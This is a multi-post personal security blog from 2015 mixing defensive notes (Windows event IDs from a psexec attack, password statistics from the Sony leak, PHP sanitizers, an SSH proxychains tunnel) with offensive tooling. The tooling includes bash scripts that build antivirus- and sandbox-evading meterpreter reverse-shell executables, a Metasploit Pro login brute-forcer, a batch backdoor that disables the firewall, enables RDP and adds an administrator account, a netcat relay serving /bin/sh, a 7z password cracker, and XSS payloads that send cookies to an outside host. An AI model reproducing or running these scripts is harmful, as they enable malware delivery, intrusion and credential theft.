Sunday, May 31, 2015

Raw shell meet Python pty

Today I was browsing the web and found the following article on Primal Securities blog about a Python Pseudo-Terminal.  Here is the link: http://www.primalsecurity.net/0xb-python-tutorial-pseudo-terminal/

In the event the link does not work in the future here is how to create a pseudo-terminal from a raw shell that you may receive on a box:

python -c "import pty;pty.spawn('/bin/bash')"


VMWare vmnet did not compile with Kali 3.18 upgrade

Today I was updating, upgrading and upgrading the distro.  After completing this task I ran into an issue reinstalling / recompilling the vmnet for VMWare.  After about 5 minutes of googling I found the solution and thought I would repost it below.

Site where I found the solution: http://askubuntu.com/questions/414783/unable-to-run-vmware-failed-to-build-vmnet

# - as root user
$ cd /usr/lib/vmware/modules/source
$ tar -xvf vmnet.tar
# - edit the file vmnet-only/netif.c and replace the line that looks like
    dev = alloc_netdev(sizeof *netIf, deviceName, VNetNetIfSetup);
to
    dev = alloc_netdev(sizeof *netIf, deviceName, NET_NAME_UNKNOWN, VNetNetIfSetup);
$ tar -cvf vmnet.tar vmnet-only/
$ rm -rf vmnet-only/
This worked great, I did test the networking on a Windows 7 VM that I had and it seemed to work great!

Friday, May 29, 2015

bash script that builds a metasploit payload into a Windows Exe to bypass AV v5

This script fixes the slowness that was in version 4, which has been removed and improves upon version 3 located prior to this post.  This version imitates creating a payload that looks like the one created by msfvenom and adds a series of them based on the randomness factor set in the script.  Also at the bottom it creates a packed executable from what is created using UPX.

With these modifications the detection ratio on virustotal is 3/56 as shown below in the screenshot and 2 of those detections were because the sample was packed.  Again this is to show anti-virus is good to have but not efficient for specific malware.


Below is a larger sample that was run against virustotal.  The randomness setting in the script was set to over 2,500 and the packed executable was detected by 1/56 AV's on virustotal.  The description of a Trojan.Win32.Diple is that is connects back to a specific port.  In reality no AV that scanned it actually caught this sample.  


The following script can be downloaded from my google drive located at the following link.

#!/bin/bash

# This program compiles a C program with a meterpreter reverse_tcp payload in it that can then be executed on a windows host
# The program is setup to create a C program after it is compiled that will bypass most AV's
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
#
# v5 - Changed the random character generator in the generatePadding() function to speed it up
# v5 - Added the use of UPX at the end to pack the executable
#
# Below are the only parameters you should have to change

payload="windows/meterpreter/reverse_tcp"
payloadLHOST="192.168.242.1"
payloadLPORT="3389"
msfvenomBadChars="\x00\xff"
msfvenomEncoder="x86/shikata_ga_nai"
msfvenomIterations="3"  # Recommended value: 3

randomness=37 # The higher the randomness the more padding is added to the c program increasing the size of the executable
delayRandomness=32676 # The higher the delay the longer it will take to execute the payload, may increase your chances of escaping a sandbox

currentDir=`pwd`
outputDir="${currentDir}/output/"
outputExe="${outputDir}prog.exe"  # You can change the name of the executable on this line
outputUPX="${outputDir}prog-upx.exe"  # You can change the name of the executable on this line

cProg="${currentDir}/prog.c"
cProgTemp="${currentDir}/prog.c.temp"

# Create some padding to be compiled in the C program this adds randomness to the binary
function old_generatePadding {

    counter=0
    randomNumber=$((RANDOM%${randomness}+7))
    while [  $counter -lt $randomNumber ]; do
        echo "" >> $cProg
randomCharnameSize=$((RANDOM%5+12))
randomPaddingSize=$((RANDOM%1024+2048))
        randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomCharnameSize}`
        randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c ${randomPaddingSize}`
        echo "unsigned char ${randomCharname}[]=\"$randomPadding\";" >> $cProg
        let counter=counter+1
    done
}

function generatePadding {

    paddingArray=(0 1 2 3 4 5 6 7 8 9 a b c d e f)

    counter=0
    randomNumber=$((RANDOM%${randomness}+23))
    while [  $counter -lt $randomNumber ]; do
        echo "" >> $cProg
randomCharnameSize=$((RANDOM%10+7))
        randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomCharnameSize}`
echo "unsigned char ${randomCharname}[]=" >> $cProg
    randomLines=$((RANDOM%20+13))
for (( c=1; c<=$randomLines; c++ ))
do
randomString="\""
randomLength=$((RANDOM%11+7))
for (( d=1; d<=$randomLength; d++ ))
do
randomChar1=${paddingArray[$((RANDOM%15))]}
randomChar2=${paddingArray[$((RANDOM%15))]}
randomPadding=$randomChar1$randomChar2
        randomString="$randomString\\x$randomPadding"
done
randomString="$randomString\""
if [ $c -eq ${randomLines} ]; then
echo "$randomString;" >> $cProg
else
echo $randomString >> $cProg
fi
done
        let counter=counter+1
    done
}


# Check to see the output directory exists
if [[ ! -d "$outputDir" ]]; then
    mkdir $outputDir
fi

echo ""
echo "You may see multiple errors until the executable is compiled successfully."
echo ""
if [[ $msfvenomIterations > 3 ]]; then
echo "Most of the errors are due to the msfvenom iterations value is set too high."
echo "Recommended value: msfvenomIterations=3"
fi
echo ""

# Check to see if the executable was previously created
if [[ -f "$outputExe" ]]; then
echo "Remove the executable at ${outputExe} to recreate it."
echo ""
fi

# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
if [[ ! -f /usr/bin/i586-mingw32msvc-gcc ]]; then
echo "The gcc-mingw32 package appears to not be installed because /usr/bin/i586-mingw32msvc-gcc is missing."
echo "Run 'apt-get install gcc-mingw32' to install it on Kali linux"
echo ""
fi

# Until the prog.exe is compiled successfully loop until it is
while [[ ! -f "$outputExe" ]]; do

    # Delete the c program and recreate it
    rm -f $cProg

    generatePadding

    echo "" >> $cProg
    echo "int main(void)" >> $cProg
    echo "{" >> $cProg

    # Introduce a couple of processing loops for a delay
    echo "" >> $cProg
    echo "int zewd5 = 1, rqs3 = 1;" >> $cProg
    echo "for ( zewd5 = 1 ; zewd5 <= ${delayRandomness} ; zewd5++ )" >> $cProg
    echo "   for ( rqs3 = 1 ; rqs3 <= ${delayRandomness} ; rqs3++ )" >> $cProg
    echo "   {}" >> $cProg
    echo "" >> $cProg
  
    generatePadding
  
    echo "" >> $cProg
    msfvenom -p ${payload} LHOST=${payloadLHOST} LPORT=${payloadLPORT} -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg

    generatePadding

    echo "" >> $cProg
    echo "((void (*)())buf)();" >> $cProg
    echo "" >> $cProg

    generatePadding

    echo "" >> $cProg
    echo "}" >> $cProg

    randomBufNameSize=$((RANDOM%10+23))
    randomBufName=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomBufNameSize}`
    cat $cProg | sed "s/buf/${randomBufName}/g" > $cProgTemp
    mv -f $cProgTemp $cProg
    # To install the following program on Kali Linux - "apt-get install gcc-mingw32"
    i586-mingw32msvc-gcc -o $outputExe $cProg

done

# Use UPX to create a second executable, testing...
upx -q --ultra-brute -o $outputUPX $outputExe

v3 bash script builds C program with metasploit payload to bypass AV


This version has been deprecated and a new up-to-date version can be found at this post.

Today I added a little more polish to my bash script that builds a compiled C program from a metasploit payload, compiles it with mingw, and then allows you to execute it on the remote host.  I have also made it more user friendly and easier to manipulate the values.  Some techniques to make it more random were also included.

#!/bin/bash

# This program compiles a C program with a meterpreter reverse_tcp payload in it that can then be executed on a windows host
# The program is setup to create a C program after it is compiled that will bypass most AV's
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
# Below are the only parameters you should have to change

payload="windows/meterpreter/reverse_tcp"
payloadLHOST="172.18.132.16"
payloadLPORT="33890"
msfvenomBadChars="\x00\xff"
msfvenomEncoder="x86/shikata_ga_nai"
msfvenomIterations="3"  # Recommended value: 3

randomness=200 # The higher the randomness the larger the binary will be
delayRandomness=32676 # The higher the delay the longer it will take to execute the payload, may increase your chances of escaping a sandbox

currentDir=`pwd`
outputDir="${currentDir}/output/"
outputExe="${outputDir}prog.exe"  # You can change the name of the executable on this line

cProg="${currentDir}/prog.c"
cProgTemp="${currentDir}/prog.c.temp"

# Create some padding to be compiled in the C program this adds randomness to the binary
function generatePadding {

    counter=0
    randomNumber=$((RANDOM%${randomness}+37))
    while [  $counter -lt $randomNumber ]; do
        echo "" >> $cProg
randomCharnameSize=$((RANDOM%5+12))
randomPaddingSize=$((RANDOM%1024+2048))
        randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c ${randomCharnameSize}`
        randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c ${randomPaddingSize}`
        echo "unsigned char ${randomCharname}[]=\"$randomPadding\";" >> $cProg
        let counter=counter+1
    done
}

# Check to see the output directory exists
if [[ ! -d "$outputDir" ]]; then
    mkdir $outputDir
fi

echo ""
echo "You may see multiple errors until the executable is compiled successfully."
echo ""
if [[ $msfvenomIterations > 3 ]]; then
echo "Most of the errors are due to the msfvenom iterations value is set too high."
echo "Recommended value: msfvenomIterations=3"
fi
echo ""

# Check to see if the executable was previously created
if [[ -f "$outputExe" ]]; then
echo "Remove the executable at ${outputExe} to recreate it."
echo ""
fi

# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
if [[ ! -f /usr/bin/i586-mingw32msvc-gcc ]]; then
echo "The gcc-mingw32 package appears to not be installed because /usr/bin/i586-mingw32msvc-gcc is missing."
echo "Run 'apt-get install gcc-mingw32' to install it on Kali linux"
echo ""
fi

# Until the prog.exe is compiled successfully loop until it is
while [[ ! -f "$outputExe" ]]; do

    # Delete the c program and recreate it
    rm -f $cProg

    generatePadding

    echo "" >> $cProg
    echo "int main(void)" >> $cProg
    echo "{" >> $cProg

    # Introduce a couple of processing loops for a delay
    echo "" >> $cProg
    echo "int z5 = 1, r3 = 1;" >> $cProg
    echo "for ( z5 = 1 ; z5 <= ${delayRandomness} ; z5++ )" >> $cProg
    echo "   for ( r3 = 1 ; r3 <= ${delayRandomness} ; r3++ )" >> $cProg
    echo "   {}" >> $cProg
    echo "" >> $cProg
  
    generatePadding
  
    echo "" >> $cProg
    msfvenom -p ${payload} LHOST=${payloadLHOST} LPORT=${payloadLPORT} -b ${msfvenomBadChars} -e ${msfvenomEncoder} -i ${msfvenomIterations} -f c >> $cProg

    generatePadding

    echo "" >> $cProg
    echo "((void (*)())buf)();" >> $cProg
    echo "" >> $cProg

    generatePadding

    echo "" >> $cProg
    echo "}" >> $cProg

    cat $cProg | sed 's/buf/yiopl/g' > $cProgTemp
    mv -f $cProgTemp $cProg
    # To install the following program on Kali Linux - "apt-get install gcc-mingw32"
    i586-mingw32msvc-gcc -o $outputExe $cProg

done

Thursday, May 28, 2015

Windows 7 Events Generated when exploit/windows/smb/psexec is used by Metasploit

With this walkthrough I wanted to note the events that are recorded by the event viewer of Windows 7 when you use exploit/windows/smb/psexec.  To setup the environment to record the necessary events the local policy was modified to the following settings in the below screenshot:


We are going to make the assumption that the hash for the Administrator account with SID 500 is compromised and is being used as shown in the below screenshot:



Also it can be observed that port 3389 is being used for payload.  This is because by default port 3389 TCP outbound is open on Windows 7.  With the above settings configured the exploit is then executed and successfully connects.  Below are the event logs that are generated on Windows 7 when the above actions are taken.

Event ID 4776 is created to identify the connecting computer.  The monitoring of this event for a non-standard workstation name provided as the "Source Workstation" could assist in identifying the intrusion.


Event ID 4672 identifies the account name and special privileges assigned to the new logon.  


Event ID 4624 records that a successful logon occurred and the source of the logon.  The source of the logon displayed below is the IP Address where the connection came from.  To correlate it back to the previous event you can use the "Logon ID".


Event ID 5140 is for a network share being accessed.  The correlation of the event can be done again through the Logon ID.  You can also tell which share on the workstation was accessed.  Depending on which "Share Name" is accessed this could be monitored, especially if what is being accessed is an administrative share like C$ or ADMIN$.


Event ID 5145 identifies if the account that authenticated has the appropriate rights to add or write a file to the network share.  The the file "HoUGhAVh.exe" was written to the c:\windows directory.


Event ID 4688 identifies that a new process was created by the above executable that was saved in c:\windows.  Then a new process is created with the rundll32.exe file in c:\windows\system32.  This event can also be observed when a command shell is opened from the meterpreter.  Inside of the command shell any commands that are executed can be observed by event ID 4688.


Event ID 4689 shows the process exits that has the random executable name in the windows directory.


Event ID 5156 is generated by the windows firewall from the rundll32.exe.  This then connects back for the meterpreter reverse shell on port 3389 on the attacking computer.  After this event are additional events showing that the randomly generated executable is deleted.


Event ID 4634 shows the logoff of the administrator account from the initial logon that occurred.  This can be correlated by the "Logon ID".



Wednesday, May 20, 2015

Netcat Relay on Linux

I purchased the book "Blue Team Handbook: Incident Response Edition" and it arrived today.  I skimmed the whole book and now I am going back through to look closer at a few items that caught my eye. One of them was the setting up of a netcat relay on linux.

The netcat relay works if you have 3 hosts:
Host 1 - 10.9.9.5 - Attacker
Host 2 - 10.9.9.10 - Compromised Victim (Pivot point or relay point)
Host 3 - 10.9.9.15 - Compromised Victim

On Host 1 you execute: "nc -l -p 4545".  This opens a listening port on your attacking computer.

On Host 3 you execute: "nc -l -p 2525 -e /bin/sh".  This opens a listening port and upon connect executes an interactive shell.

Then on Host 2 you execute the following commands:
"mknod backpipe p"
"nc 10.9.9.5 4545 0<backpipe | nc 10.9.9.15 2525 1>backpipe"

If a windows host was in the middle you would execute the following:
"echo nc 10.9.9.15 2525 > relay.bat"  # You need permission to write a file called relay.bat
"nc 10.9.9.5 4545 -e relay.bat"

The commands that are executed on Host 1 are then relayed through Host 2 to Host 3 giving the appearance that Host 2 is the one attacking Host 3.

Here is a link to SANS netcat cheat sheet demonstrating how it can be done on Windows also.

Here is a link to a video that goes through the above scenario using 3 linux hosts.  In the book it is a little different due to only using an Attacker and a Victim for their example, which works also!

Below if you click on the picture of the book it will take you to how you can order it on Amazon:


Sunday, May 17, 2015

Analysis of Passwords released by Wikileaks from the Sony Hack

Sony Pictures Entertainment on November 24, 2014 suffered a devastating attack from North Korea.  This attack caused the release of multiple documents and emails onto the internet.  On April 16, 2015, Wikileaks released an analysis and search system for 30,287 documents and 173,132 emails from this attack.  To voice my opinion, I am not in favor of Wikileaks releasing this information.

However, since the information is available, for this post I would like to analyze the information released focusing on evaluating the strength of the passwords found.

Looking at the page, https://wikileaks.com/sony/docs/, there is Directory #4.  After you expand this you find a directory structure that lists a variety of files.

From the files in this directory I was able to gather the following number of passwords:

2,323

Then the 3 most common passwords used:
123 times used - "password"
43 times used - "T3CSPH#G"
24 times used - "devl0p"

The number of characters per password broken down: 
3 characters or less - 13
4 characters - 26
5 characters - 75
6 characters - 641
7 characters - 345
8 characters - 540
9 to 15 characters long - 677
16 characters or more - 6

Longest password was 40 characters long

Other Statistics
1,632 Passwords contain upper-case, lower-case and a number
691 Passwords contain special characters
575 Password only contain upper and lower case letters
453 Passwords only contain lower-case letters
52 Passwords contained the word "Sony", "sony", or other manipulations of the sort
32 Passwords only contain upper-case letters
16 Passwords only contain numbers

Evaluating the information I would probably encourage organizations to incorporate an Enterprise Password Safe or Enterprise Password Management solution.  This would eliminate multiple files containing passwords.  This would also help to enforce the strength of the passwords, because 47.4% of the passwords contained less than 8 characters.  The Enterprise Password Safe would bring a risk of all the passwords being in one location but some controls would be the passwords are encrypted, hopefully dual-factor would protect the safe, and precaution of least-privilege would be enforced.

I would also recommend a system that can scan inside of files that are stored on the network, identify the contents for passwords or sensitive information and then alert an administrator or data owner that they exist.  Then through regular clean-up and auditing these files can be cleaned up and maintained.  By using such a system you can also verify information is being stored in the correct locations.

I am in no way stating that Sony Pictures Entertainment should be criticized for the passwords that are found in these documents.  The passwords collected may or may not be an adequate population to determine the strengths or weaknesses in their program.  This information does allow a system administrator, manager, or data owner time to consider what the strength of their password program is and if it was exposed what would it appear like if the above statistics were applied.

Saturday, May 16, 2015

Old Python Script to Brute-Force Metasploit Pro Web Interface

I wrote this python script to brute force a login to Metasploit Pro.  I doubt that it works for the current release because I believe they added a login threshold of 10 failed logins and it locks the account.

#!/usr/bin/python


import httplib


fpasswords = open('modRockyou.txt')
for password in fpasswords:
f = open('getResponse.txt','w')


conn = httplib.HTTPSConnection("127.0.0.1:3790")
conn.request("GET", "/login")
#conn.request("POST", "/user_sessions", postParam)
r1 = conn.getresponse()
f.write(r1.read())
f.close()


f = open('getResponse.txt')
for line in f:
if "authenticity_token" in line:
auth_token = line[193:237] # Pulls the authenticity token out of the GET request
#print "----"
#print line[193:237]
#print auth_token
#print " "
f.close()


header = r1.getheaders()
#print header


header2 = dict(r1.getheaders())
if header2.has_key('set-cookie'):
#print header2['set-cookie']
#print " "
ui_session_raw = header2['set-cookie']
ui_session =  ui_session_raw[0:234]


# Now that I have the authenticity_token from the GET response and the ui_session cookie I can send the post back into the server


#postParam = "utf8=%E2%9C%93&authenticity_token=hydDI8OCWE533edVJma3%2BJgVJUKOaqB1GNEL7XN9rq8%3D&user_session%5Busername%5D=root&user_session%5Bpassword%5D=mypassword&commit=Sign+in"

postParam = "utf8=%E2%9C%93&authenticity_token=" + auth_token + "&user_session%5Busername%5D=root&user_session%5Bpassword%5D=" + password.rstrip() + "&commit=Sign+in"


#_ui_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFRkkiJThjZGZjMmMzNzRiMWUwOTQ2MjI3MmRjYzQyMWYwMWRjBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMVVVT2NJalRNZVlIS2tTQzhEc1R5U1kySHZUVHd1WWdOUVRaWlpnWmw3VW89BjsARkkiCmZsYXNoBjsARm86JUFjdGlvbkRpc3BhdGNoOjpGbGFzaDo6Rmxhc2hIYXNoCToKQHVzZWRvOghTZXQGOgpAaGFzaHsGOgplcnJvclQ6DEBjbG9zZWRGOg1AZmxhc2hlc3sGOwpJIiJJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkLgY7AEY6CUBub3cw--7ae6ffe189f3e025db7546e5e17552acc1e80201


headers = {"Cookie" : ui_session}


#print postParam
#print ' '
#print headers
#print ' '


conn.request("POST", "/user_sessions", postParam, headers)
r2 = conn.getresponse()
header3 = r2.getheaders()
#print header3
#print ' '
print password
#print ' '
header4 = dict(r2.getheaders())


user_cred_raw = header4['set-cookie']
if "user_credentials" in user_cred_raw:
info = "Login was successful with password " + password
print info
exit(0)


conn.close()


conn.close()
fpasswords.close()

Batch Script for Windows to Disable Firewall, start Terminal Services, and Create a User

I wrote the following batch script for windows to disable the firewall, start terminal services and create a new local user.  I have tested this on Windows Server 2008.

@echo off

netsh firewall set opmode disable

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

sc config TermService start=auto

net start TermService

net user /add dalma iamin538!

net localgroup administrators dalma /add

Bash Script to Enumerate Users - OSVDB-637

I ran a Nikto scan and found the following vulnerability in the report that it produces:

"OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users)."

I then created the following bash script to run through a list of usernames to identify users that may exist:

#!/bin/bash
while read line
do

     wget http://www.domain.local/~$line &> output/$line.output.file

done < names.list
grep -l -i 'forbidden' output/*

The last statement will then identify the files that are proceeded by a username that return indicating the user account exists on the particular apache server.

Below is the information about the vulnerability from the OSVDB database...

http://osvdb.org/637
Apache web servers contain a flaw that may lead to an unauthorized information disclosure. The issue is triggered when the UserDir module is enabled and a remote attacker requests access to a user's home directory. By monitoring the web server response, an attacker is able to enumerate valid user names, resulting in a loss of confidentiality.


Bash Script and References to Cracking 7z, zip or rar Password Protected Files

I found an old bash script that I wrote to conduct a dictionary attack against a 7z file.  Thought I would post it and then a few references of better ways of cracking zip passwords:

#!/bin/bash
# The script will conduct a dictionary attack on a 7z file.  It will delete the temporary file that it creates when the file fails to extract.
while read line
do
     7z x file.7z -p $line &> /dev/null
     fileSize = `stat -c %s file.7z
     if [ $fileSize -lt 5000 ]; then
          rm -f file.txt
     else
          exit 0
     fi

done < dictionary.file

A great blog post about using John the Ripper to crack Zip and rar files is located here.

Another tool that you can use is fcrackzip.  Here are a couple of references:
http://allanfeid.com/content/cracking-zip-files-fcrackzip
http://rarcrack.sourceforge.net/
http://linuxers.org/article/how-crack-zip-file-passwords-linux-using-fcrackzip

Friday, May 15, 2015

PHP Functions to Mitigate against XSS and other Threats

As I was reviewing the source code of "CMS Made Simple" I found 2 functions that they loosely applied and in some circumstances had not applied it at all.  It states in their source code that the functions are MIT licensed and taken from the cakephp.org project.  I have tested and posted them below.  The following page at OWASP has some better PHP functions to utilize to sanitize input/output.

/*
 * Sanitize input to prevent against XSS and other nasty stuff.
 * Taken from cakephp (http://cakephp.org)
 * Licensed under the MIT License
 *
 * @internal
 * @param string input
 * @return string
 */
function cleanValue($val) {
        if ($val == "") {
                return $val;
        }
        //Replace odd spaces with safe ones
        $val = str_replace(" ", " ", $val);
        $val = str_replace(chr(0xCA), "", $val);
        //Encode any HTML to entities (including \n --> <br />)
        $val = cleanHtml($val);
        //Double-check special chars and remove carriage returns
        //For increased SQL security
        $val = preg_replace("/\\\$/", "$", $val);
        $val = preg_replace("/\r/", "", $val);
        $val = str_replace("!", "!", $val);
        $val = str_replace("'", "'", $val);
        //Allow unicode (?)
        $val = preg_replace("/&amp;#([0-9]+);/s", "&#\\1;", $val);
        //Add slashes for SQL
        //$val = $this->sql($val);
        //Swap user-inputted backslashes (?)
        $val = preg_replace("/\\\(?!&amp;#|\?#)/", "\\", $val);
        return $val;
}

/*
 * Method to sanitize incoming html.
 * Take from cakephp (http://cakephp.org)
 * Licensed under the MIT License
 *
 * @param string Input HTML code.
 * @param boolean Wether HTML tags should be removed.
 * @return string
 * Rolf: only used in this file
 */
function cleanHtml($string, $remove = false) {
        if ($remove) {
                $string = strip_tags($string);
        } else {
                $patterns = array("/\&/", "/%/", "/</", "/>/", '/"/', "/'/", "/\(/", "/\)/", "/\+/", "/-/");
                $replacements = array("&amp;", "&#37;", "&lt;", "&gt;", "&quot;", "&#39;", "&#40;", "&#41;", "&#43;", "&#45;");
                $string = preg_replace($patterns, $replacements, $string);
        }
        return $string;
}

Tuesday, May 12, 2015

SSH Tunnel with Proxychains

Thought I would quickly document how I have been utilizing SSH to create a tunnel and then using proxychains to access devices at and beyond the device the tunnel is connected to.

To establish the tunnel the following command is executed after the keys are setup to allow authentication with an SSH key:

ssh -i key.priv -p 22 thepcn3rd@7host.local -D 7500 -N -f

This connects to the host at 7host.local with the username thepcn3rd over port 22 with the key.priv.  Then it establishes on the local computer port 7500.  The best explanation for the -D switch I have found is in the man page for SSH:

-D [bind_address:]port
Specifies a local “dynamic” application-level port forwarding.  This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address.  Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the appli‐cation protocol is then used to determine where to connect to from the remote machine.  Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server.  Only root can forward privileged ports.  Dynamic port forwardings can also be specified in the configuration file.

Now you can configure proxychains to use port 7500 by modifying /etc/proxychains.conf.  Typically the last line of the proxychains.conf file is the only one that needs to change as shown below:

# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns 

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#        Examples:
#             socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
# socks4 192.168.1.49 1080
#        http 192.168.39.93 8080
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 7500

The last line contains the address that the port is bound to and then the port above, that we used after the -D switch.  I also removed the comment before the proxy_dns data setting.  This is necessary if the remote location has internal DNS and you want the DNS to work properly.  But then how do you configure proxychains to use the DNS server through the tunnel.

You can find the file /usr/lib/proxychains3/proxyresolv.  Below is what the file looks like for my current system:

#!/bin/sh
# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=172.17.10.5


if [ $# = 0 ] ; then
echo " usage:"
echo " proxyresolv <hostname> "
exit
fi


export LD_PRELOAD=libproxychains.so.3
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'

In the above configuration file you can set DNS_SERVER to be the server inside your environment or where you are working.  Then to use proxychains with any application, I will use the example of iceweasel.  To launch it using proxychains you can type:

proxychains iceweasel

Then it will launch iceweasel making it aware of the tunnel.  Then any address that you go to through iceweasel and it exists on the other side of the tunnel will open.  If it is a URL like http://www.myserver.com it will resolve based on the DNS server setting above and pull up in the browser again if it is on the other side of the tunnel.  

Monday, May 11, 2015

XSS Reflected and Stored Testing with Script to Encode HTML

I was testing various methods of XSS and from the list below I found some that would work and some that would not.  Most of them in the list below I tested on an installed instance of "CMS Made Simple" on an Apache server I setup.

After testing for XSS on the instance I had installed, I submitted to them bugs #10511, #10512, #10513, #10514, #10515, #10517, #10518, #10519, and #10520.  Most of the bugs they felt were trivial because it was after an admin had accessed the CMS.  The one stored XSS that I found in the documentation I provided them in a comment caused stored XSS.

I used the XSS Filter Evasion Cheat Sheet and the Web Application Hackers Handbook version 2 to generate the following list:

### XSS Manual Testing Checklist ###
1. <script>alert('XSS');</script>
2. <script>alert("XSS");</script>
3. <script type='text/javascript'>alert('XSS');</script>
4. <script type="text/javascript">alert("XSS");</script>
5. %3cscript>alert("XSS");%3c/script>
6. &#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
7. &#0000060;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000062;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000049;&#0000041;&#0000060;&#0000047;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000062;
8. <script>alert(1)</script>
9. &#0000060&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000062&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000049&#0000041&#0000060&#0000047&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000062
10. %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
11. <script>var+i=new+Image;+i.src='http://127.0.0.1:8095/test.html?'%2bdocument.cookie;</script>
12. <script>var+i=new+Image;+i.src="http://127.0.0.1:8095/test.html";i+=document.cookie;</script>
13. <a href="#" onclick="window.location='http://127.0.0.1:8095/stole.cgitext='+escape(document.cookie);return false;">Click here!</a>
14. <script>var+i=new Image;+i.src="http://127.0.0.1:8095/test.html?"%2bencodeURIComponent(document.cookie);</script>
15. <script>var%2bi=new%20Image;%2bi.src="http://127.0.0.1:8095/test.html?"%2bencodeURIComponent(document.cookie);</script>
16. <script type="text/javascript">alert(document.cookie);</script>
17. <script type="text/javascript">document.write('http://127.0.0.1:8095/test.html?'+document.cookie);</script>
18. <script type="text/javascript">document.write('<img src=http://127.0.0.1:8095/test.html?'+document.cookie+'>');</script>

To create the 6th through 10th items I created the following python script to encode any html that is input.

#!/usr/bin/python

import os, sys

print "Input below the string to encode in HTML Decimal: "
valueInput = raw_input("> ")

valueOutDec = ''
valueOutDecLongSemi = ''
valueOutDecLong = ''
valueOutHex = ''

# <script>alert(String.fromCharCode(88,83,83));</script>  # If URL Encoded works
# <script>alert('XSS');</script> # If URL Encoded works

for char in valueInput:
# HTML Decimal Encoding
valueOutDec += "&#" + str(ord(char)) + ";"
# HTML Decimal Encoding Long with and without semi-colon
if len(str(ord(char))) == 2:
valueOutDecLongSemi += "&#00000" + str(ord(char)) + ";"
valueOutDecLong += "&#00000" + str(ord(char))
else:
valueOutDecLongSemi += "&#0000" + str(ord(char)) + ";"
valueOutDecLong += "&#0000" + str(ord(char))
# Hex Encoding
valueOutHex += "%" + str(format(ord(char), 'x'))

print
print "HTML Decimal Encoding"
print valueOutDec
print
print "HTML Decimal Encoding Long with semi-colon"
print valueOutDecLongSemi
print 
print "HTML Decimal Encoding Long"
print valueOutDecLong
print
print "Hex Encoding with leading %"
print valueOutHex

Sunday, May 3, 2015

vbscript is it still used? - Quick scripts to gather Process and Service Information

I needed a quick script to gather the process name and executable path on multiple computers.  The following are the sites that I referenced:

http://stackoverflow.com/questions/17408185/vbscript-check-for-running-process-on-multiple-computers
http://www.hamiltonitblog.com/vbscript-get-list-of-running-processes-and-executable-path/
https://msdn.microsoft.com/en-us/library/aa394599%28v=vs.85%29.aspx

Below is the script that was mashed together:

strComputer = "."

Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("list.txt")

Do Until f.AtEndOfStream
    strComputer = f.ReadLine
    On Error Resume Next

    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" _
        & strComputer & "\root\cimv2")
    Set colProcessList = objWMIService.ExecQuery _
        ("Select * from Win32_Process")
    For Each objProcess in colProcessList
        Wscript.Echo """" & objProcess.Name & """,""" _
            & objProcess.ExecutablePath & """,""" & strComputer & """"
    Next
Loop

f.Close



